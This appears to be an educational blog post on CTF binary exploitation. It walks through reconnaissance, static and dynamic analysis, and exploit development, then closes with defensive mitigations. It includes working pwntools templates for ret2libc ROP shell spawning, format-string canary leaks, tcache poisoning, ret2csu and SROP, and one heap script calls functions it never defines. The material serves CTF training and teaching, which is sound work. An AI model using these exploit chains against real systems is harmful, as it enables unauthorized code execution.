Disclaimer: This content is intended for educational purposes and authorized security research only. Binary exploitation techniques should only be practiced in controlled CTF environments, personal labs, or with explicit written permission. Unauthorized access to computer systems is illegal under laws including the CFAA and similar legislation worldwide.
Binary exploitation remains the crown jewel of CTF competitions, separating casual participants from those who truly understand how software breaks at its core. As we move through 2026, modern mitigations have made exploitation more challenging than ever, but the fundamental principles remain unchanged. Whether you’re preparing for DEF CON CTF qualifiers or your first local competition, mastering a systematic approach to binary exploitation will dramatically improve your success rate.
Recent CTF trends show an evolution toward more realistic scenarios. Gone are the days of simple stack smashes with no protections. Today’s challenges routinely feature full RELRO, stack canaries, NX, PIE, and ASLR. Some even implement custom mitigations or run in sandboxed environments. This post provides a battle-tested methodology for approaching these challenges systematically.
Phase 1: Initial Reconnaissance and Binary Analysis
Before writing a single line of exploit code, you must understand exactly what you’re working with. This reconnaissance phase often determines whether you’ll solve a challenge in minutes or waste hours chasing dead ends.
Gathering Binary Metadata
Your first interaction with any binary should extract critical metadata that informs your entire exploitation strategy. Here’s the essential reconnaissance workflow:
#!/bin/bash
# binary_recon.sh - Initial binary reconnaissance script
BINARY=$1
echo "=== FILE TYPE ==="
file $BINARY
echo -e "\n=== CHECKSEC ANALYSIS ==="
checksec --file=$BINARY
echo -e "\n=== DYNAMIC DEPENDENCIES ==="
ldd $BINARY 2>/dev/null || echo "Static binary or musl-linked"
echo -e "\n=== SYMBOL TABLE ==="
readelf -s $BINARY | grep -E "FUNC|OBJECT" | head -30
echo -e "\n=== SECTIONS ==="
readelf -S $BINARY | grep -E "\.(text|data|bss|got|plt|rodata)"
echo -e "\n=== STRINGS OF INTEREST ==="
strings $BINARY | grep -iE "(flag|password|secret|admin|shell|bin/sh|/bin/bash)"Running this against a typical CTF binary produces output that immediately guides your approach:
$ ./binary_recon.sh vuln_service
=== FILE TYPE ===
vuln_service: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a1b2c3..., not stripped
=== CHECKSEC ANALYSIS ===
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 72 Symbols No 0 3 vuln_serviceThis output reveals PIE and stack canaries are enabled, but only Partial RELRO—meaning the GOT is still writable after the PLT section. This immediately suggests GOT overwrite as a potential exploitation path if we can achieve arbitrary write.
Understanding Protection Mechanisms
Each protection mechanism requires specific bypass techniques:
- Stack Canaries: Require information leak to extract canary value, or exploitation of non-stack-based vulnerabilities
- NX (Non-Executable Stack): Forces Return-Oriented Programming (ROP) or ret2libc approaches
- PIE (Position Independent Executable): Requires base address leak before code reuse attacks
- ASLR: Randomizes library addresses; requires libc leak for reliable exploitation
- Full RELRO: Makes GOT read-only after loading; eliminates GOT overwrite attacks
Phase 2: Static Analysis and Vulnerability Discovery
With reconnaissance complete, dive into static analysis to identify vulnerability primitives. Modern disassemblers have evolved significantly, but the core workflow remains consistent.
Identifying Dangerous Functions
Begin by identifying calls to historically dangerous functions. These represent potential vulnerability entry points:
# Using radare2 for quick function analysis
$ r2 -A vuln_service
[0x00001100]> afl~imp
0x00001030 1 6 sym.imp.puts
0x00001040 1 6 sym.imp.strlen
0x00001050 1 6 sym.imp.printf
0x00001060 1 6 sym.imp.read
0x00001070 1 6 sym.imp.malloc
0x00001080 1 6 sym.imp.free
0x00001090 1 6 sym.imp.gets
# Found gets()! Classic buffer overflow candidate
[0x00001100]> axt sym.imp.gets
main 0x12a5 [CALL] call sym.imp.getsThe presence of gets() is an immediate red flag—this function performs no bounds checking and has been deprecated for decades. Finding it in a CTF binary virtually guarantees a buffer overflow vulnerability.
Decompilation and Control Flow Analysis
Modern CTF challenges often require understanding complex logic. Use Ghidra, IDA Pro, or Binary Ninja for decompilation. Here’s an example of analyzing a vulnerable function:
// Ghidra decompilation of vulnerable_handler()
void vulnerable_handler(int client_fd) {
char username[64];
char message[128];
int is_admin = 0;
read(client_fd, username, 200); // Overflow! Buffer is 64, reading 200
if (is_admin != 0) {
execute_admin_command(client_fd);
}
printf(message); // Format string if message is user-controlled
// Additional processing...
}This decompilation reveals multiple vulnerabilities: a stack buffer overflow in the read() call that can overwrite is_admin, and a potential format string vulnerability in the printf() call.
Phase 3: Dynamic Analysis and Debugging
Static analysis provides hypotheses; dynamic analysis confirms them. GDB with PEDA, GEF, or pwndbg extensions is indispensable for binary exploitation.
Setting Up the Debug Environment
Configure your debugging environment for maximum effectiveness:
# Install pwndbg (recommended for exploitation)
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
# Create a GDB initialization file for CTF work
cat >> ~/.gdbinit << 'EOF'
set disassembly-flavor intel
set follow-fork-mode child
set detach-on-fork off
set pagination off
# Useful breakpoint commands
define hook-stop
info registers
x/8gx $rsp
x/2i $rip
end
EOFDetermining Overflow Offsets
For stack buffer overflows, precisely determining the offset to control RIP is critical. Use cyclic patterns for reliability:
$ python3 -c "from pwn import *; print(cyclic(200))" > pattern.txt
$ gdb ./vuln_service
pwndbg> run < pattern.txt
Program received signal SIGSEGV, Segmentation fault.
0x6161616c6161616b in ?? ()
pwndbg> cyclic -l 0x6161616b
40The offset is 40 bytes—meaning 40 bytes of padding followed by our target address will overwrite the return pointer.
Phase 4: Exploit Development
With vulnerabilities confirmed and offsets determined, construct your exploit. Python's pwntools library is the industry standard for CTF exploitation.
Basic Stack Buffer Overflow with ROP
Here's a complete exploit template for a binary with NX enabled but no PIE or stack canary:
#!/usr/bin/env python3
from pwn import *
# Configuration
context.arch = 'amd64'
context.log_level = 'debug'
BINARY = './vuln_service'
LIBC = './libc.so.6' # Provided or leaked libc
elf = ELF(BINARY)
libc = ELF(LIBC)
rop = ROP(elf)
def exploit():
# Connect to target
if args.REMOTE:
p = remote('challenge.ctf.com', 1337)
else:
p = process(BINARY)
# Stage 1: Leak libc address via puts@plt
# ROP chain: pop rdi; ret -> puts@got -> puts@plt -> main
padding = b'A' * 40
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0] # Stack alignment for Ubuntu 18.04+
stage1 = padding
stage1 += p64(pop_rdi)
stage1 += p64(elf.got['puts'])
stage1 += p64(elf.plt['puts'])
stage1 += p64(elf.symbols['main']) # Return to main for stage 2
p.sendlineafter(b'> ', stage1)
# Parse leaked address
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f'Leaked puts@libc: {hex(leaked)}')
# Calculate libc base
libc.address = leaked - libc.symbols['puts']
log.success(f'Libc base: {hex(libc.address)}')
# Stage 2: Return to system("/bin/sh")
stage2 = padding
stage2 += p64(ret) # Stack alignment
stage2 += p64(pop_rdi)
stage2 += p64(next(libc.search(b'/bin/sh\x00')))
stage2 += p64(libc.symbols['system'])
p.sendlineafter(b'> ', stage2)
# Enjoy shell
p.interactive()
if __name__ == '__main__':
exploit()This exploit demonstrates a two-stage approach: first leaking libc's base address through the PLT/GOT, then using that information to call system("/bin/sh").
Bypassing Stack Canaries
When stack canaries are present, you need an information leak. Format string vulnerabilities are particularly useful:
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
def leak_canary(p):
# Format string leak - canary is typically at offset 15-25 on x64
for i in range(10, 30):
p.sendlineafter(b'Name: ', f'%{i}$lx'.encode())
response = p.recvline().strip()
try:
value = int(response, 16)
# Canaries on x64 end with 0x00 and have high entropy
if value & 0xff == 0x00 and value > 0x1000000000:
log.info(f'Potential canary at offset {i}: {hex(value)}')
return value
except ValueError:
continue
return None
def exploit():
p = process('./canary_challenge')
canary = leak_canary(p)
if not canary:
log.error('Could not leak canary')
return
log.success(f'Leaked canary: {hex(canary)}')
# Buffer overflow with canary preservation
payload = b'A' * 72 # Padding to canary
payload += p64(canary) # Preserved canary
payload += b'B' * 8 # Saved RBP
payload += p64(0xdeadbeef) # Return address (replace with ROP chain)
p.sendlineafter(b'Message: ', payload)
p.interactive()
exploit()Heap Exploitation Techniques
Modern heap exploitation targets allocator metadata. Here's a tcache poisoning example for glibc 2.31+:
#!/usr/bin/env python3
from pwn import *
def exploit():
p = process('./heap_challenge')
def alloc(size, data):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Size: ', str(size).encode())
p.sendafter(b'Data: ', data)
def free(idx):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Index: ', str(idx).encode())
def show(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Index: ', str(idx).encode())
return p.recvline()
# Allocate chunks
alloc(0x20, b'AAAA') # idx 0
alloc(0x20, b'BBBB') # idx 1
# Free to populate tcache
free(0)
free(1) # tcache[0x30]: chunk1 -> chunk0
# Leak heap address via use-after-free (if available)
heap_leak = u64(show(1).ljust(8, b'\x00'))
log.success(f'Heap leak: {hex(heap_leak)}')
# Tcache poisoning: overwrite freed chunk's fd pointer
# Target: __free_hook or other writable GOT entry
target = libc.symbols['__free_hook']
# Use edit functionality or UAF write to poison tcache
edit(1, p64(target))
# Allocate to return poisoned pointer
alloc(0x20, b'CCCC') # Returns original chunk
alloc(0x20, p64(system)) # Returns __free_hook, write system address
# Trigger: free a chunk containing "/bin/sh"
alloc(0x20, b'/bin/sh\x00')
free(3) # Calls system("/bin/sh")
p.interactive()
exploit()Phase 5: Dealing with Remote Challenges
Remote challenges introduce additional complexity: network latency, potential ASLR variation, and unknown libc versions.
Identifying Remote Libc
Leak multiple function addresses and use libc database lookups:
#!/usr/bin/env python3
from pwn import *
import requests
def identify_libc(leaks):
"""
leaks: dict of {"function_name": leaked_address}
Uses libc.rip API to identify libc version
"""
# Calculate last 3 nibbles (12 bits) which are constant
symbols = {name: hex(addr & 0xfff) for name, addr in leaks.items()}
query = '&'.join([f'{name}={addr}' for name, addr in symbols.items()])
url = f'https://libc.rip/api/find?{query}'
response = requests.get(url)
if response.status_code == 200:
results = response.json()
for r in results:
log.info(f"Potential match: {r['id']}")
return results
return None
# Usage after leaking puts and printf addresses
leaks = {
'puts': 0x7f1234567890,
'printf': 0x7f1234567abc
}
identify_libc(leaks)Common CTF Binary Exploitation Patterns
Recognizing patterns accelerates solve times. Here are techniques frequently seen in 2026 CTF challenges:
Ret2csu for Limited Gadgets
When the binary lacks convenient gadgets, __libc_csu_init provides universal primitives:
def ret2csu(elf, call_addr, rdi, rsi, rdx):
"""
Universal gadget chain using __libc_csu_init
Works on most dynamically-linked x64 ELF binaries
"""
csu_init = elf.symbols['__libc_csu_init']
# Gadget 1: pop rbx, rbp, r12, r13, r14, r15, ret
gadget1 = csu_init + 0x3a # Offset may vary, verify with disassembly
# Gadget 2: mov rdx,r14; mov rsi,r13; mov edi,r12d; call [r15+rbx*8]
gadget2 = csu_init + 0x20 # Offset may vary
chain = p64(gadget1)
chain += p64(0) # rbx = 0
chain += p64(1) # rbp = 1 (for cmp rbx, rbp)
chain += p64(rdi) # r12 -> edi
chain += p64(rsi) # r13 -> rsi
chain += p64(rdx) # r14 -> rdx
chain += p64(call_addr) # r15 -> call target (must be pointer to function)
chain += p64(gadget2)
chain += b'A' * 56 # Padding for pops after call
return chainSROP (Sigreturn-Oriented Programming)
When you control a large stack area and have a sigreturn gadget:
from pwn import *
context.arch = 'amd64'
# Create sigreturn frame for execve("/bin/sh", NULL, NULL)
frame = SigreturnFrame()
frame.rax = 59 # execve syscall number
frame.rdi = binsh_addr # Address of "/bin/sh" string
frame.rsi = 0 # argv = NULL
frame.rdx = 0 # envp = NULL
frame.rip = syscall_ret # Address of syscall; ret gadget
frame.rsp = new_stack # Optional: pivot stack
payload = padding + p64(sigreturn_gadget) + bytes(frame)Defense Strategies and Mitigations
Understanding exploitation informs better defense. Here are key mitigations developers should implement:
- Enable all protections: Compile with
-fstack-protector-strong -pie -Wl,-z,relro,-z,now - Use safe functions: Replace
gets(),strcpy(),sprintf()with bounded alternatives - Validate input lengths: Always bound user input before copying to fixed-size buffers
- Implement seccomp: Restrict available syscalls to the minimum required
- Use modern allocators: Consider hardened allocators like hardened_malloc in production
- Audit format strings: Never pass user input directly as format string argument
- Enable ASLR: Ensure
/proc/sys/kernel/randomize_va_spaceis set to 2
Key Takeaways
- Systematic methodology wins: Follow a consistent recon → static analysis → dynamic analysis → exploit development pipeline for every challenge
- Protection identification is critical: Understanding enabled mitigations determines viable exploitation techniques before you write any code
- Information leaks unlock exploitation: Most modern exploits require leaking addresses to bypass ASLR, PIE, or stack canaries
- Master your tools: Proficiency with pwntools, GDB, and a quality disassembler dramatically reduces solve times
- Build a gadget library: Maintain templates for ret2libc, ROP chain generation, SROP, and ret2csu techniques
- Practice on intentionally vulnerable challenges: Platforms like pwn.college, ROP Emporium, and nightmare provide excellent progressive training
- Document your exploits: Writing up solutions reinforces learning and builds a personal reference library
Binary exploitation is a deep discipline requiring understanding of assembly, operating systems, and compiler behavior. Each challenge you solve adds to your mental model of how software fails. Embrace the process, and remember that even experienced exploit developers spend significant time in reconnaissance before achieving code execution.
